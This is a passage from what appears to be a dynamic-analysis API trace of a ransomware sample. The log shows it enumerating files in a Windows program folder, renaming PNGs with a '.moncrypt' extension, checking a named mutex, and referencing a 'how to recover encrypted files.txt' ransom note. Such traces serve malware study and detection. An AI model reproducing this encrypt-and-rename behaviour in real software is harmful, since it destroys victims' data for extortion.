lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", cchWideChar=87, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 87 [0057.656] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.656] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.656] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.656] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.656] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.657] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0057.658] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.658] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.658] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.658] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.658] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.658] GlobalUnlock (hMem=0x44000c) returned 0 [0057.658] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.658] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.658] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.658] GlobalUnlock (hMem=0x44000c) returned 0 [0057.658] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.658] GlobalUnlock (hMem=0x440004) returned 0 [0057.658] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.658] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.659] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", cchWideChar=82, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.pngd", lpUsedDefaultChar=0x0) returned 82 [0057.659] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\NavigationRight_ButtonGraphic.pngd", lpUsedDefaultChar=0x0) returned 4 [0057.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.660] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.660] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.660] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.660] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.661] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.661] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0057.662] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.662] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.662] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.662] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.662] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.662] GlobalUnlock (hMem=0x440004) returned 0 [0057.662] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.662] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.662] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.662] GlobalUnlock (hMem=0x440004) returned 0 [0057.662] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.662] GlobalUnlock (hMem=0x44000c) returned 0 [0057.662] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.662] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, 